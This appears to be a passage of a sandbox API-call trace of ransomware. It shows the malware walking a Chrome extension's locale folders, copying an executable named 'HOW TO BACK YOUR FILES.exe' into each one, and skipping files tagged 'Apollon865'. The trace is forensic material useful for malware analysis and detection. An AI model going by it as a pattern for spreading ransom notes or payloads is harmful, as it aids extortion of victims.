	[0047.903] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x349fb130, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x349fb130, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.904] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.904] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.904] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.904] lstrlenW (lpString="messages.json") returned 13
	[0047.904] lstrlenW (lpString="Apollon865") returned 10
	[0047.904] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.904] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se"
	[0047.904] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bb2c0 | out: hHeap=0x580000) returned 1
	[0047.904] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a00c8 | out: hHeap=0x580000) returned 1
	[0047.904] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se") returned 137
	[0047.904] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se"
	[0047.904] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.904] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.908] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.908] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x349fb130, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x349fb130, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.909] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.909] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.909] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.909] lstrlenW (lpString="messages.json") returned 13
	[0047.909] lstrlenW (lpString="Apollon865") returned 10
	[0047.909] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.909] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru"
	[0047.909] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bb198 | out: hHeap=0x580000) returned 1
	[0047.909] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a00a8 | out: hHeap=0x580000) returned 1
	[0047.909] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru") returned 137
	[0047.909] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru"
	[0047.909] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.909] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.913] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.913] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34a21290, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34a21290, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.913] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.913] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.913] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.913] lstrlenW (lpString="messages.json") returned 13
	[0047.913] lstrlenW (lpString="Apollon865") returned 10
	[0047.913] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.913] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro"
	[0047.914] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bb070 | out: hHeap=0x580000) returned 1
	[0047.914] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0088 | out: hHeap=0x580000) returned 1
	[0047.914] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro") returned 137
	[0047.914] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro"
	[0047.914] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.914] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.917] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.918] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34a21290, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34a21290, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.918] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.918] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.918] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.918] lstrlenW (lpString="messages.json") returned 13
	[0047.918] lstrlenW (lpString="Apollon865") returned 10
	[0047.918] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.918] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT"
	[0047.918] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ac620 | out: hHeap=0x580000) returned 1
	[0047.918] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0068 | out: hHeap=0x580000) returned 1
	[0047.918] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT") returned 140
	[0047.918] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT"
	[0047.918] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.918] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.922] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.922] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34a21290, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34a21290, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.922] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.922] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.922] lstrcpyW (in: lpString1=0x2d3e66a, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.922] lstrlenW (lpString="messages.json") returned 13
	[0047.923] lstrlenW (lpString="Apollon865") returned 10
	[0047.923] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.923] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR"
	[0047.923] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa260 | out: hHeap=0x580000) returned 1
	[0047.923] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0048 | out: hHeap=0x580000) returned 1
	[0047.923] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR") returned 140
	[0047.923] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR"
	[0047.923] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.923] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.927] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.927] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34a21290, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34a21290, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.927] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.927] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.927] lstrcpyW (in: lpString1=0x2d3e66a, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.927] lstrlenW (lpString="messages.json") returned 13
	[0047.927] lstrlenW (lpString="Apollon865") returned 10
	[0047.927] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.927] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl"
	[0047.927] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baf48 | out: hHeap=0x580000) returned 1
	[0047.927] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0028 | out: hHeap=0x580000) returned 1
	[0047.927] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl") returned 137
	[0047.927] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl"
	[0047.927] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.927] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.932] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.932] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34a473f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34a473f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.932] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.932] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.932] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.932] lstrlenW (lpString="messages.json") returned 13
	[0047.932] lstrlenW (lpString="Apollon865") returned 10
	[0047.933] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.933] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no"
	[0047.933] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bae20 | out: hHeap=0x580000) returned 1
	[0047.933] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0008 | out: hHeap=0x580000) returned 1
	[0047.933] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no") returned 137
	[0047.933] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no"
	[0047.933] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.933] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.937] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
